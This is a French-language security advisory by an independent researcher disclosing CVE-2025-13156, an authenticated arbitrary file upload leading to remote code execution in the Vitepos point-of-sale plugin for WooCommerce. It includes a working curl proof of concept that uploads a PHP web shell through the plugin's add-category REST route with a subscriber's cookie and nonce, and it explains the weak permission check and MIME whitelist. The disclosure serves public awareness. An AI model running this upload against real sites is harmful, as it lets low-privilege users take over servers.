
Divulgation pour CVE-2025-13156
Divulgation pour CVE-2025-13156
Ce dépôt divulgue une vulnérabilité découverte dans Vitepos – Point of Sale (POS) for WooCommerce <= 3.3.0, un plugin WordPress développé par appsbd.
| ID CVE | Type | Composant | Impact |
|---|
| CVE-2025-13156 | Téléversement arbitraire de fichiers authentifié (Abonné+) menant à l'exécution de code à distance | modules/class-pos-settings.php api/v1/class-pos-product-api.php | Téléverser des fichiers arbitraires sur le serveur du site concerné |
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
Les routes REST du plugin sous /wp-json/vitepos/v1/product/... reposent sur un contrôle de permissions permissif qui accepte en pratique tout utilisateur connecté (is_user_logged_in()), sans vérifier si l'appelant est un utilisateur POS ou dispose de la capacité de gérer les termes de produits. En conséquence, les rôles à faibles privilèges (par exemple Abonné) peuvent atteindre des endpoints comme add-category/update-category.
Comme le fichier ne peut pas être placé directement à la racine du WebRoot, l'exploitation peut échouer selon l'environnement. L'exécution de PHP n'est généralement pas autorisée sous le répertoire Uploads, donc je pensais que ce ne serait pas réalisable sans un environnement vraiment inhabituel.
Dès que j'ai vu la chaîne application/octet-stream dans la liste blanche MIME, j'ai eu un mauvais pressentiment, mais l'exploitation a réellement fonctionné, ce qui m'a surpris.
Normalement, le noyau de WordPress empêche le téléversement de PHP, mais ce plugin implémentait son propre traitement, ce qui a permis de reproduire cette vulnérabilité. C'est un cas vraiment rare.
Nom : MooseLove
Rôle : Chercheur en sécurité indépendant / chasseur de bogues
Contact : Disponible sur demande
Cet avis de sécurité est fourni pour la sensibilisation du public à la sécurité. Libre de le partager avec mention de la source.